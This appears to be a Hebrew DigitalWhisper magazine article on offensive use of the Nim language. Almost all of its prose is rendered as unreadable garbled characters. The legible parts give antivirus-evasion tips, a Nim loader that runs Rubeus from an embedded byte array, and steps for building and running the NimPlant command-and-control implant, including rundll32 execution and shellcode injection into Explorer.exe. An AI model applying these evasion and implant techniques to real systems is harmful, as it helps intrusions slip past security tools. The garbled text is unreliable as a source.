˸ˣˤˣ˶˥ˬ Σˢˬ ˨˲ˣˢ˷ ˣ˸ˣ˞ ˸ˣ˥˲˪ ˞˧˶˵ ˪˟˞ ˭˧˧ˡ˰ ˧˪ˮˣ˧˴˵ˮˣ˲Υ 

 

˵ˣˡ˟ˮ ˟ˣ˷ ˟-VirusTotalΥ 

 

˶˲˯ˬ ˫˧˰ˣˮˬˢ ˫˧ˢˤˬ˷ ˸˞ ˳˟ˣ˵ˢ ˧ˮˣˡˤ˩ ˡ˶˧ Σ˫˪ˣ˞ ˶˲˯ˬˢ ˭˧˧ˡ˰ ˢˢˣ˟ˠΦ 
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˱˧˯ˣˮ ˢ˞˪ˣ˪ ˶˷˞ ˢˢ˷˸ ˸˞ ˸˴˶ˢ ˳˟ˣ˵ˢ ˟-ол ˸ˣ˧ˮ˷Υ 

 

˱˧˯ˣˮ ˸˞ ˢ˧˧˶˲˯ˢ times ˷ˬ˸˷ˮˣ ˢ˧˴˵ˮˣ˲˟ now() ˶˷˞ ˸ˠ˴˧˧ˬ ˸˞ ˭ˬˤˢ ˧˥˩ˣˮˢ ˶˷˞˩ ˢ˧˴˵ˮˣ˲ˢ 

˸˞˶˵ˮΦ 

ˢ˞˪ˣ˪ˢ ˸˵ˡˣ˟ ˭˲ˣ˞˟ ˱˧˴˶ ˫˞ˢ ˭ˬˤˢ ˧˥˩ˣˮˢ now() ˭˦˵ x˞ ˢˣˣ˷ ˭ˬˤ˪ ˶ˡˠˣˬˢ ˷˞˶ˬ ύˢ˶˵ˬ˟ ˢˤˢ 

ˢ˧˧ˢ˷ˢ ˪˷ ол ˸ˣ˧ˮ˷Φό ˢ˶ˢ˴ˢˢ discard ˸˷ˬ˷ˬ ˸˰˧ˮˬ˪ ˸ˣ˞˶˸ˢ ˪˷ ˶˪˧˧˲ˬˣ˵ˢ ˪˰ ˢˮ˸˷ˬ ˣˮ˧˞˷ 

˷ˣˬ˧˷˟Φ ˷˧ ˢˡ˧˶˧ ˸˲˯ˣˮ ˸ˣ˟˵˰˟ ˢ˞˪ˣ˪ˢ ˶˲˯ˬ˟ ˫˧˰ˣˮˬˢ Σ˪˟˞ ˢˤ ˭˧˧ˡ˰ ˶˲˯ˬ ˢˣ˟ˠ: 

 

˶˟˰ˬ ˢ˧˴˵˯ˣ˲˟ˣ˞˪ ˢ˧˧ˢ˷ˢˣ ˪˷ ˢ˴˶ˢˢ Σˢˬ ˡˣ˰ ˭˸˧ˮ ˸ˣ˷˰˪Κ 

˸ˣˤˣ˶˥ˬˢ ˪˷ ˳˟ˣ˵ˢ ˧˶˞ˮ˧˟ˢ ˸ˣ˪˧˩ˬ ˸ˣ˧ˮ˲ˢ ˫˧˪ˣˡˣˬ˪ ˸ˣ˧˴˵ˮˣ˲ˣ ˸˧˧˶˲˯˟ Nim Φ˸ˣˤˣ˶˥ˬˢ ˸ˣ˲˵˷ˬ ˸˞ 

˸ˣˬ˷ ˫˧˪ˣˡˣˬˢ Σ˸ˣ˶ˣˡ˴ˣ˶˲ˢ Σ˸ˣ˧˴˵ˮˣ˲ˢ ˧ˮ˟ˬˣ ˢ˲˷ˢ ˫˧˶˥˞ˢ ˸˲˷˟ NimΥ 

 

˰ˡ˧ˬ ˢˤ ˪ˣ˩˧ ˵˲˯˪ ˸ˣˮ˟ˣ˸ ˧˟ˠ˪ ˢˮ˟ˬˢ ˸ˣ˧˴˵ˮˣ˲ˢˣ ˪˷ ˳˟ˣ˵ˢ ˧˶˞ˮ˧˟ˢ ˫ˠˣ ˸˞ ˸˲˷ ˸ˣˮ˩˸ˢ NimΦ  

π˪Nim ˷˧ flagπ˫˧ ˫˧ˮ˧˧ˮ˰ˬ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˸˰˟ ˨˧˪ˢ˸ ˪ˣ˲ˬ˧˵ ˪˰ ˸ˮˬ ˸ˣˮ˷˪ ˸˞ ˸ˣˮˣ˩˸ˢ ˪˷ 

˳˟ˣ˵ˢ ˧˶˞ˮ˧˟ˢ ˶˴ˣ˧ˬˢ Φ 

˷ˣˬ˧˷ˢ ˪ˠˡ˟ Ϧ-d:releaseϦ ˫ˣ˶ˠ˧ ˫˧˧ˣˮ˧˷˪ ˡˣ˵˟ ˢˮˣ˩ˬˢ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞˟ˣ ˣ˪˷ ˪˰ ˸ˮˬ ˶˲˷˪ ˸˞ ˫˧˰ˣ˴˧˟ˢ 

˫ˠˣ ˶˧˯˧ ˰ˡ˧ˬ ˳˟ˣ˵ˢˬ ˧˶˞ˮ˧˟ˢ ύdebugging symbols ˪˷ˬ˪Φό 
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˪ˠˡˢ Ϧapp:guiππ Ϧ˶ˣ˷˵˧ ˸˞ ˢ˧˴˵˧˪˲˞ˢ ˵˷ˬˬ˪ ˷ˬ˸˷ˬ ˧˲˶ˠ ύGUI ό˭ˣˣ˩˧ˣ ˸˞ ˢ˧˧ˮ˟ˢ ˨˩ ˢ˧˴˵˧˪˲˞ˢ˷ 

ˢ˧ˢ˸ ˢˮ˩ˣˬ ˷ˣˬ˧˷˪ ˸ˣˬ˶ˣ˲˦˪˲˟ ˭˥˪ˣ˷ ˢˡˣ˟˰ˢ ˸ˣ˯˯ˣ˟ˬˢ ˪˰ ˵˷ˬˬ ˷ˬ˸˷ˬ ˧˲˶ˠ: 

 

˱˯ˣˮ˟ ˶˥˞˪ ˪ˣ˲ˬ˧˵ˢ ˷ˬ˸˷ˮ ˢˡˣ˵˲˟ strip ˫ˠ ˭˩ ˪˰ ˸ˮˬ ˶˧˯ˢ˪ ˰ˡ˧ˬ ˳˟ˣ˵ˢˬ ˧˶˞ˮ˧˟ˢ ˨˩˟ˣ ˸˧˥˲ˢ˪ 

˸˞ ˶˲˯ˬ ˸ˣˤˣ˶˥ˬˢ ˸ˣ˪ˣ˪˰˷ ˸ˣ˧ˢ˪ ˸ˣˢˣˤˬ ˪˰ ˧ˡ˧ ˧˰ˣˮˬ ˧˦ˮ˞ ˯ˣ˶˧ˣ ˸ˣˬ˧˸˥˟Υ 

 

˸˰˩ ˵ˣˡ˟ˮ ˟-VTΥ 

 

˶˲˯ˬ ˫˧˰ˣˮˬˢ ˨˧˷ˬˬ ˸ˡ˶˪ J 

ˣ˧˷˩˰ ˢ˴˶˞ ˵ˣˡ˟˪ ˫˞ˢ ˧ˣˮ˧˷ ˧ˮˡ˧ ˪˷ ˸ˣˤˣ˶˥ˬˢ ˪˷ Nim ˣˢ˷ˬ˪ ˧˪ˬˣˡˮ˶ Σ˰˧˲˷˧ ˪˰ ˧ˣˢ˧ˤ ˪˰ ˧ˡ˧ ˫˧˰ˣˮˬˢ 

-˟VT Φ˫˷˪ ˨˩ ˷ˬ˸˷˞ ˨˶ˣ˰˟ hex ύ˟ˣ˷˥ ˵ˣˡ˟˪ ˸ˣ˧˪˞ˮˣ˧˴˵ˮˣ˲ˢ˷ ˪˷ ˳˟ˣ˵ˢ ˞˪ ˸˰ˠ˲ˮΥό 

 



 
 

Unleashing the Power of Nim 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 162, ˧ˮˣ˧ нлнп  мм 
 

 

ˣ˞ ˭˧˲ˣ˪˥˪ ˢˡˣ˵˲˟ sedΥ 

 

˸˰˩ ˵ˣˡ˟ˮ ˟ˣ˷ ˟-VTΥ 

 

˨˯ ˪˩ˢ с ˨ˣ˸ˬ тм ˫˧˰ˣˮˬ ύ˩πу҈ όˣˢ˧ˤ ˸˞ ˳˟ˣ˵ˢ ˧ˮˣˡˤ˩Σ ˢˤ˷ ˶ˣ˲˧˷ ˧˸ˣ˰ˬ˷ˬ ˸ˬˣ˰˪ нр ˫˧˰ˣˮˬ 

ˢ˪˥˸ˢ˟Φ ˧ˮ˲˪ ˧ˣˮ˧˷ˢ ˧ˮˡ˧ˢ ˪˷ ˸ˣ˶ˣˤ˥ˬˢ ˭˸˧ˮ ˸ˣ˪˵˟ ˸ˣˢˤ˪ ˸˞ ˠˣ˯ ˶˪˧˧˲ˬˣ˵ˢΥ 
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˶˥˞˪ ˧ˣˮ˧˷ˢΥ  

 

˶˥˞ˬ ˢ˷˰ˮˣ ˷ˣˬ˧˷ ˧ˮˣˡˤ ˟πNim Σ˷˧ ˫˧˯ˣ˶˧ˣ˧˦ˮ˞ ˫˧ˢˤˬ˷ ˪˩ ˶˟ˡ ˶˷˞ ˶ˣ˷˵ ˢ˲˷˪ ˧ˮˣˡˤ˩ ˭˲ˣ˞˟ 

˧˦ˬˣ˦ˣ˞ ˫ˠ ˫˞ ˳˟ˣ˵ˢ ˧ˬ˧˦˧ˠ˪ Φ˭˥˟ˮ ˸˞ ˶˟ˡˢ ˪˰ ˧ˡ˧ ˶˟ˡ ˧˯˧˯˟Υ 

 

ˢ˵˧ˡ˟˟ ˟-VT ˪˷ ˳˟ˣ˵ˢ ˪˲ˣ˵ˬˢ ˢ˞˶ˮ ˷˧˷ ф ˫˧˶ˣˡˮˣˣ ˫˧ˢˤˬ˷ ˸˞ ˳˟ˣ˵ˢ ˧ˮˣˡˤ˩Υ 

 

˵˥˷˪ ˫˰ Nim ˧˲˵˸ˢ 

˦˵˧˧ˣ˶˲ˢ OffensiveNim ˪˷ Byt3bl33der ˪˧˩ˬ ˰˲˷ ˪˷ ˸ˣ˞ˬˠˣˡ ˡˣ˵ ˰ˡ˧ˣ ˪˰ ˫ˣ˷˧˧ˢ ˪˷ Nim ˸ˣ˵˧ˮ˩˦˟ 

˶˟˧˧˯ ˫˧˯˯ˣ˟ˬˢ ˶˵˧˰˟ ˪˰ Winim ύWindows API of Nim Σό˪˷ˬ˪Υ 

¶ ˸˵˶ˤˢ .NET Assemblies ˭ˣ˶˩ˤ˪Φ 

¶ PPID-Spoofing 

¶ ETW & AMSI Patch 

¶ Unhooks EDR hooks from ntdll.dll 

¶ Shellcode Runners 

  

https://github.com/byt3bl33d3r/OffensiveNim
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˭˧˵˸ˮ ˸˞ winim ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢ: 

nimble install winim  

nimble ˢˬˣˡ ˪πpip ˫˦˯˧˯ˣ˵˞˟ ˪˷ ˭ˣ˸˧˧˲ Φnimble ˪ˢˮˬ ˸ˣ˪˧˟˥ ˸˲˷˪ ˸ˣˮ˩˸ˢ Nim Φ˶˷˲˞ ˸ˣ˪˵˟ 

˭˧˵˸ˢ˪ Σ˪ˢˮ˪ ˱˸˷˪ˣ ˸ˣ˪˧˟˥ ˸ˣ˧˶˲˯ˣ ˪˷ NimΦ  

˦˧˧˪˲ˬ˦ˢ execute_assembly_bin.nim ˭˰ˣ˦ ˳˟ˣ˵ ˧˶˞ˮ˧˟ ˪˷ ІC ύ˶ˬˣˬ˷ ˨˶˰ˬ˪ ˫˧˸˟ ό˭ˣ˶˩˧ˤ˪ Φ˷ˬ˸˷ˮ 

˧˪˩˟ Rubeus ˱ˣ˦˰ˮˣ ˣ˸ˣ˞ ˳˟ˣ˵˟ ˢ˴˶ˢ ˪˷ NimΦ 

 

ˡˣ˵ˢ ˧˶ˣ˵ˬˢ ˳˧˶ˬ Messagebox ύˢˮ˸˷ˬ˟ arr ό˫˧˧ˬ˰˲ ˭˩˪ ˢˮ˷ˮ ˸˞ ˡˣ˵ˢ ˨˩ ˭˸˧ˮ˷ ˢ˧ˢ˧ ˱˧˯ˣˢ˪ 

˫˧˦ˮˬˣˠ˶˞ ˸˰˟ ˢ˴˶ˢˢ ˪˷ ˳˟ˣ˵ˢ ˸˶ˣ˷˟ ˢˡˣ˵˲ˢΥ 

var cmd: seq[string]  
for i in 1 .. paramCount():  
    cmd.add( paramStr (i))  
echo cmd 
let arr = toCLRVariant (cmd, VT_BSTR) 
@t. invoke (mn, flags, clrArgs);  

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
https://github.com/GhostPack/Rubeus
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ˡˣ˵ˢ ˳˪˥ˬ ˫˧˦ˮˬˣˠ˶˞ ˪˷ ˸˶ˣ˷ ˢˡˣ˵˲ˢ ˣ˶˟˰˷ ˸˰˟ ˸˴˶ˢ ˦˲˧˶˵˯ˢ ύ˦˰ˬ˪ ˟˧˸ˮ ˦˲˧˶˵˯ˢ ό˶˧ˬˬˣ 

˫˸ˣ˞ ˦ˬ˶ˣ˲˪ ˫˞ˣ˸ˢ ˪π.NET ύˢ˯˶ˠ VT_BSTRΦό 

˷˧ ˨˶ˣ˴ ˪˲ˬ˵˪ ˸˞ Rubeus ˶˥˞˪ˣ ˭˩ˬ ˶˧ˬˢ˪ ˣ˸ˣ˞ ˨˶˰ˬ˪ ˫˧˸˟ ˭˩˪ˣ ˷ˬ˸˷˞ ˦˲˧˶˵˯˟ Powershell 

˞˟ˢ: CSharpToNimByteArray.ps1Υ 

 

ˢ˶ˬˢˢ ˸˶ˬ˷ˮ ˳˟ˣ˵˟ ˷ˡ˥ ˫˷˟ Rubeus.exeNimByteArray.txtΥ 

var buf: array[ 502784, byte] = [byte 0x4D, 0x5A, 0x90, 0x00ƛ 

˟˪˷˟ ˞˟ˢ ˱˧˯ˣˮ ˸˞ ˢ˶ˬˢˢ ˪πexecute_assembly_bin.nimΦ ˡˣ˵ˢ ˞˪ˬˢ ˶˥˞˪ ˫˧˧ˣˮ˧˷ˢΥ 

import winim / clr  
import sugar  
import strformat  
import os 
var buf: array[ 502784, byte] = [byte 
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,.. .0 x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]  
echo "[*] Installed .NET versions"  
for v in clrVersions ():  
    echo fmt "    \ - --  {v} "  
echo " \ n"  
 
echo ""  
 
var assembly = load (buf)  
dump assembly  
 
# Extract command - line arguments and pass them to EntryPoint.Invoke  
var cmd: seq[string]  
for i in 1 .. paramCount():  
    cmd.add( paramStr (i))  

 
echo cmd 
 
var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType. ToString ())  
var mn = fromCLRVariant[string](assembly.EntryPoint.Name)  
var t = assembly. GetType(dt)  
var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod  
 
var arr = toCLRVariant (cmd, VT_BSTR) 
@t. invoke (mn, flags, arr)  

˪˲ˬ˵ˮ ˸˞ ˳˟ˣ˵ˢΥ 

 

  

CSharpToNimByteArray.ps1
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˶˥˞˪ˣ ˭˩ˬ ˳˧˶ˮΥ 

 

ˢ˵˧ˡ˟ ˪˷ Rubeus ˪˲ˬˣ˵ˬ ˞˪˪ ˫˧˧ˣˮ˧˷ ˢˢˣˤˬ ˪˰ ˧ˡ˧ пф ˨ˣ˸ˬ тм ˫˧˰ˣˮˬΥ 

 

˸ˬˣ˰˪ нм ˫˧˰ˣˮˬ ˢ˯˶ˠ˟ ˪˷ Rubeus ˱ˣ˦˰˷ ˟-NimΥ 

 

˭˟ˣˬ˩ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˸ˣ˵˧ˮ˩˦˟ ˸ˣ˲˯ˣˮ ˪˰ ˸ˮˬ ˸˧˥˲ˢ˪ ˸˞ ˶˲˯ˬ ˫˧˰ˣˮˬˢ Σ˪˷ˬ˪ ˢ˧˴˵˯ˣ˲˟ˣ˞ ˡˣ˵˪ 

˶ˣ˵ˬˢ ˪˷ C# ˫˶˦ ˪ˣ˲ˬ˧˵ˢ ˪˷ ˧˪˩ˢ x˞ ˢˮ˲˴ˢ ˸ˣ˰˴ˬ˞˟ ˪˷ˬ˪Υ 

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim  

ˣ˞: 

https://github.com/icyguider/Nimcrypt2  

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim
https://github.com/icyguider/Nimcrypt2
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˸˞˶˷ˢ˟ ˦˵˧˧ˣ˶˲ˢ OffensiveNim ΣCas van Cooten ˶˴˧ ˸˞ NimPlantΥ C2 implant ˟ˣ˸˩˷ ˟πNim 

˭ˣ˸˧˧˲ˣ ˫˰ ˭ˣˣˠˬ ˸ˣ˪ˣ˩˧ ˪˵ˣ ˷ˣˬ˧˷˪ Φ 

Nimplant ˞ˣˢ ˧˪˩ Post Exploitation ˡ˰ˣ˧ˬ˷ ˷ˣˬ˧˷˪ ˧˪˧ˠ˶˸˟ Red Teaming ˸ˣ˵˧ˡ˟˟ˣ ˫˧ˮ˲ ΦNimPlant 

˵˲˯ˬ ˸ˣ˪ˣ˩˧ ˸ˣˮˣ˷ ˢ˶˧ˬ˷˪ ˪˰ ˢ˷˧ˠ ˸ˣ˩˶˰ˬ˪ ˣ˴˶˲ˮ˷ Σ˭ˣˠ˩ ˰ˣ˴˧˟ ˸ˣˡˣ˵˲ Σ˪ˣˢ˧ˮ ˫˧˴˟˵ Σˢ˵˶ˤˢ ˭ˣ˶˩ˤ˪ 

ˡˣ˰ˣ Φ˧˪˩ˢ ˧˶˪ˣˡˣˬ ˭˸˧ˮˣ ˟˧˥˶ˢ˪ ˣ˸ˣ˞ ˪˰ ˧ˡ˧ ˥ˣ˸˧˲ ˫˧˪ˣˡˣˬ ˫˧˲˯ˣˮ ˣ˵˲˯˧˷ ˸ˣ˪ˣ˩˧ ˸ˣ˲˯ˣˮ Φ 

˶˥˞˪ ˢˮ˵˸ˢˢ ύ˸˦˶ˣ˲ˬ ˟-Github Σό˷˧ ˸ˣˮ˷˪ ˸˞ ˫˷ ˳˟ˣ˵ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˪πconfig.toml ˭˩ˡ˰˪ˣ ˸˞ 

˳˟ˣ˵ ˸˟ˣ˸˩˟ s-IP ˪˷ ˸˶˷ˢΥ 

 

˶˥˞˪ ˭˩ˬ ˫˧ˬ˧˶ˬ ˸˞ ˸˶˷ˢΥ 

 

  

https://github.com/chvancooten/NimPlant
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˸˶˷˪ ˷˧ ˸ˣ˶˷˲˞ ˷ˣˬ˧˷˪ UI ˧˪˞ˬ˧ˮ˧ˬ ύ˶˷˞ ˶˴ˣˮ ˸˶ˤ˰˟ next.jsΥό 

 

ˣ˞ ˭˧˲ˣ˪˥˪ ˸˴˶ˢ ˸ˣˡˣ˵˲ ˪ˮ˧ˬ˶˦˟Υ 

 

˸˰˩ ˶ˣ˴˧ˮ ˸˞ ˫˧˴˟˵ˢ ˶ˣ˟˰ ˡ˴ ˦ˮ˧˧˪˵ˢ ˸˶ˤ˰˟ ˢˡˣ˵˲ˢΥ 

python NimPlant.py compile all  
 

 
 

˭˧˥˟ˮ ˣ˶˴ˣˮ˷ ˫˧˴˟˵ ˫˧ˮˣ˷ ˟˧˸ˮ˟ client/binΦ 
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˵ˣˡ˟ˮ ˸˞ sπdll ˟-VTΥ 

 

˶˲˯ˬ ˢˣ˟ˠ ˪˷ ˫˧˰ˣˮˬ ˢˢˤˬ ˸˞ ˳˟ˣ˵ˢ ˧ˮˣˡˤ˩ ˫˰ ˯ˮ˶˲˶ ˪πNimplant ύ˦˵˧ˣ˶˲ˢ ˫˯˶ˣ˲ ˧ˮ˲˪ ˢˮ˷˩Φό 

˵˧˸˰ˮ ˸˞ ˳˟ˣ˵ˢ ˳˟ˣ˵˪ ˷ˡ˥ ˢˮ˷ˮˣ ˸˞ ˸ˣˤˣ˶˥ˬˢ ˪˷ Nim ˣˢ˷ˬ˪ ˧˪ˬˣˡˮ˶ ˧˪˟ˬ ˰ˣˠ˲˪ ˸ˣˮ˧˵˸˟ ˪˷ 

˳˟ˣ˵ˢΥ 

 

ˢ˶ˣ˴˟ ˸˞ˤ˩ ˞˪ ˧˸˧ˮ˧˷ ˸˞ ˢ˧˴˵ˮˣ˲ˢ nimmain ˶˷˞ ˸˶˴ˣˮ ˪˰ ˧ˡ˧ ˶˪˧˧˲ˬˣ˵ˢ ˪˷ Nim Φˢ˧˴˵ˮˣ˲ xʕ 

˸˷ˬ˷ˬ ˸ˡˣ˵ˮ˩ ˢ˯˧ˮ˩ˢ (entry point) ˰ˣ˴˧˟˪ ˸˧ˮ˩ˣ˸ˢΥ 

 

˸˰˩ ˵ˣˡ˟ˮ ˟ˣ˷ ˟-VTΥ 

 

˶˲˯ˬ ˫˧˰ˣˮˬˢ ˡ˶˧ ˢ˶ˣ˴˟ ˸˧˸ˣ˰ˬ˷ˬ ΗJ 

˸˰˩ ˵ˣˡ˟ˮ ˸˞ ˢ˴˶ˢˢ ˪˷ ˳˟ˣ˵ˢ ˡ˴˟ ˱˵˸ˮˢ ˸˶ˤ˰˟ ˢˡˣ˵˲ˢΥ 

rundll32.exe . \ NimPlant1.dll,Update  
 

˪˟˧˵ˣ:ˣˮ 
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˵ˣˡ˟ˮ ˡ˴˟ ˸˶˷ˢ ˫˞ˢ ˣˮ˪˟˧˵ ˢ˷˧ˠ ˢˮˣ˩ˬ˪ ˪˷ ˱˵˸ˮˢΥ 

 

ˢ˞˶ˮ ˶˴ˣˮ˷ implant ˱˵˸ˮˢˬ ˸˶˷˪ ˫˰ ˸ˣ˶˷˲˞ ˳˧˶ˢ˪ ˭ˣˣˠˬ ˸ˣˡˣ˵˲Υ 

 

ˢˡˣ˵˲ ˸ˮ˧˧ˮ˰ˬ ˞˧ˢ shinject ˶˷˞ ˢ˵˧˶ˤˬ shellcode ˪˨˧˪ˢ˸ ˣˮ˸˶˧˥˟˪Υ 
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˶˷˞˩ ˳˧˶ˮ ˸˞ ˢˡˣ˵˲ˢ Σ˥˸˲˧˧ ˭ˣ˪˥Υ 

 

˟˪˷˟ ˢˤˢ ˶˥˟ˮ ˳˟ˣ˵ ˫˰ s-shellcode Σ˪˷ˬ˪ ˳˟ˣ˵ˢ NimPlant.bin ύ˶˴ˣˮ˷ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˟- sRDI όˣ˞ 

˸˶ˤ˰˟ ˦˵˧ˣ˶˲ˢ ˰ˣˡ˧ˢ donut ˶˥˞˪ˣ ˭˩ˬ ˶˥˟ˮ ˨˧˪ˢ˸˟ ˫˧ˣ˯ˬ ˪˰ ˧ˡ˧ PID Φ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢˡˣ˵˲˟ psΥ 

 

˶˥˟ˮ ˟πPID ˪˷ Explorer.exe ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢΥ 

 

˶˥˞˪ˣ ˢ˴˶ˢˢ ˪˟˵ˮ implant ˱˯ˣˮ ˱˵˸ˮˢˬΥ 

 

 

https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut
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ˢˡˣ˵˲ ˸˧˶˞˪ˣ˲ˣ˲ ˞˧ˢ execute-assembly ˶˷˞ ˢ˴ˣ˲ˮ ˨˶ˡ˟ ˪˪˩ ˸ˣ˪ˣ˰˲˟ red teamΥ 

 

˶˟ˣˡˬ ˢ˵˧ˮ˩˦˟ ˸˶˩ˣˬ ˪˷ inline execute assembly ˶˷˞ ˢ˴˧˶ˬ ˧˴˟˵ .Net assemblies ˸ˣ˶˧˷˧ ˭ˣ˶˩˧ˤ˟ Σ

˪˰ ˸ˮˬ ˵ˣˬ˥˪ ˧ˣˢ˧ˤˬ ˪˷ ˸ˣ˩˶˰ˬ ˧˦ˮ˞π˯ˣ˶˧ˣ x˞ ˸ˣˮˣ˶˸˲ endpoint Φ 

˶˷˞˩ ˫˧˴˧˶ˬ ˸˞ ˢˡˣ˵˲ˢ ˥˸˲ˮ ˭ˣ˪˥Υ 

 

ˡ˥˧ ˫˰ ˸ˮ˧˰˦ ˳˟ˣ˵ Σ˰˴˟˸ˬ ˫ˠ ˱˵˰ˬ ˪˷ amsi ˢˬ˧˯˥ˣ ˪˷ etw Φ˭˸˧ˮ ˱˧˯ˣˢ˪ ˦ˮˬˣ˧ˠ˶˞ ˢ˴˶ˢ˪ ˪˷ 

˳˟ˣ˵ˢ ˭ˣ˶˩ˤ˟Υ 

 

˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˦˵˧˧ˣ˶˲˟ SharpCollection π ˱˯ˣ˞ ˪˷ ˧˪˩ C# ˫˧˧˲˵˸ˢΦ 

SharpCollection
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˶˥˞˪ ˢ˴˶ˢˢ Σˢ˞˶ˮ ˸˞ ˢ˞˴ˣ˸ˢΥ 

 

 

˫ˣ˩˧˯ 

Andreas Rumpf ˶˴˧ ˸˞ ˢ˲˷ˢ Nim ˫˰ ˭ˣˤ˥ˢ ˟˪˷˪ ˭˧˟ ˭ˣ˸˧˧˲ ΣADA xπlisp Φ˪˩ ˸˥˞ ˸ˣ˲˷ˢˬ ˣ˪˞ˢ ˢ˧ˣ˴ˬ 

˫˪ˣ˰˟ ˸ˣˮ˩˸ˢ ˢˤˬ ˫˧ˮ˷ ˸ˣ˟˶ ˸˶˩ˣˬˣ ˫˧ˬˣ˷˧˧˟ ˫˧ˮˣ˷ Υ˭ˣ˸˧˧˲ ˪˩ˬ ˸ˣ˲˷ˢ, ˸˶˩ˣˬ ˸˧˶˪ˣ˲ˣ˲ˣ ˶˸ˣ˧˟ Σ

˸ˮ˸˧ˮ ˢ˞˧˶˵˪ ˢˮ˟ˢˣ ˸ˣ˪˵˟ ΣADA ˸ˡ˵ˬ˸ˬ ˸ˣˮ˧ˬ˞˟ ˢˮ˩ˣ˸ˢ ˸˟˸˩ˮ˷ ˢ˟ ˸˰ˮˣˬˣ ˫˧ˠ˞˟ ˨˧˪ˢ˸˟ 

˪ˣ˲ˬ˧˵ˢ Σπxlisp ˸ˮ˧˧˲˞˸ˬ ˸˪ˣ˩˧˟ ˢˢˣ˟ˠ ˶ˣˡ˧˯˪ ˡˣ˵ ˸˧˧ˮ˟˪ˣ ˫˧ˮ˟ˬ ˫˧˟˩˶ˣˬ ύ˸˩ˬˣ˸ ˸˩˶˰ˬ˟ macros 

ˢ˷˧ˬˠ Φό 

˯˶ˡˮ˞ ˢ˴˶ ˶ˣ˴˧˪ ˢ˲˷ ˟˪˷˸˷ ˸˞ ˸ˣˮˣ˶˸˧ˢ ˪˷ ˸˷ˣ˪˷ ˸ˣ˲˷ˢ ˣ˪˞ˢ Σ˨˩ˣ ˢˡ˪ˣˮ Nim Φˡ˰ ˢ˩ ˦˵˧ˣ˶˲ˢ 

˧˩ˢ ˪ˣˡˠ ˪˷ ˢ˲˷ˢ ˞ˣˢ eth2-nimbus ύ˫ˣ˷˧˧ ˪˷ ˪ˣ˵ˣ˦ˣ˶˲ Ethereum 2.0 Φό 

˦˵˧ˣ˶˲ˢ OffensiveNim ˫˷ ˸˞ ˢ˲˷ˢ ˪˰ ˢ˲ˬˢ ˢ˲˷ˢˣ ˢ˶˟˴ ˢ˴ˣ˞˸ ˟˶˵˟ ˫˧˲˵ˣ˸ ˶˷˞ ˫˧ˬ˷˧˧ˬ ˸˞ 

˭˸ˣ˞ ˸ˣ˵˧ˮ˩˦ ˢ˲˧˵˸ ˷˧˷ ˟πC x˞ ІC ˪˟˞ ˫˧˪˴ˮˬ ˸˞ sϦ˸ˣ˧ˣ˶ˤˣˬ Ϧ˪˷ ˸ˣ˲˷ ˸ˣ˶˥˞ ˣˬ˩ Nim ˨˩ˣ ˫˧˪ˣ˩˧ 

˵ˣˬ˥˪ ˧ˣ˪˧ˠˬ ˪˷ ˸ˣ˩˶˰ˬ ˧˦ˮ˞π˯ˣ˶˧ˣ Φ˭˧˟ˬ ˫˧˦˵˧ˣ˶˲ˢ ˫˧˶ˣ˷˵˷ ˪πNim ˟ˢ˞˦˧ˠ˟ ΣOffensiveNim ˰˧˲ˣˬ 

˭˧˟ ˸ˣˬˣ˵ˬˢ ˫˧ˮˣ˷˞˶ˢ ύ˧˲˪ ˸ˣˬ˩ ˫˧˟˩ˣ˩Φό 

˶˷˞˩ ˶˟ˣˡˬ ˢ˲˷˟ ˢˮ˦˵ ˣˬ˩ Nim Σ˯˥˧ˢ ˭˧˟ ˷ˣˬ˧˷ ˢ˲˷˟ ˥ˣ˸˧˲˪ ˧ˬ˧˦˧ˠ˪ ˸ˬˣ˰˪ ˥ˣ˸˧˲ ˧ˮˣˡˤ ˪ˣ˩˧ 

˰˧˲˷ˢ˪ ˪˰ ˸ˣ˯˥˧˧˸ˢˢ ˸˧˪˪˩ˢ ˢ˲˷˪ Φ˶˷˞˩ ˞˴ˬˮ ˳˟ˣ˵ ˧˶˞ˮ˧˟ ˪˲ˬˣ˵˷ ˪˰ ˧ˡ˧ Nim ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ Σ

˶˟ˡˢ ˢˣˣˢˬ ˭ˬ˧˯ ˡ˧˷˥ˬ Φ˪˰ ˧˲ ˢ˷˧ˠˢ ˸˞ˤˢ ˷˧ ˧˰ˣˮˬ ˧˦ˮ˞π˯ˣ˶˧ˣ ˫˧ˢˤˬ˷ ˪˩ ˶˟ˡ ˶ˣ˷˵˷ ˪πNim 

˸˧˦ˬˣ˦ˣ˞ ˧ˮˣˡˤ˩ Σ˫ˠ ˫˞ ˳˟ˣ˵ˢ ˣˬ˴˰ ˧ˬ˧˦˧ˠ˪Φ 

˸ˣ˟˵˰˟ OffensiveNim Σˣˬ˯˶ˣ˲ ˫˧˦˵˧ˣ˶˲ ˫˧˧˲˵˸ˢ ˫˧˲˯ˣˮ ˭ˣˠ˩Υ 

¶ Nimplant π ˧˪˩ ˪ˣˢ˧ˮ˪ ˸ˣ˦˪˸˷ˢˣ ˵ˣ˥˶ˬ (C2) ˯˯ˣ˟ˬˢ ˪˰ ˸˲˷ NimΦ 

¶ NimSyscallPacker π ˦˵˧ˣ˶˲ ˶˷˲˞ˬˢ ˯˧ˮ˩ˢ˪ ˸ˣ˞˧˶˵ ˸˩˶˰ˬ (syscalls) ˢ˶ˣ˴˟ ˸˧ˣˣ˯ˣˬ Σ˸˲˵ˣ˰ 

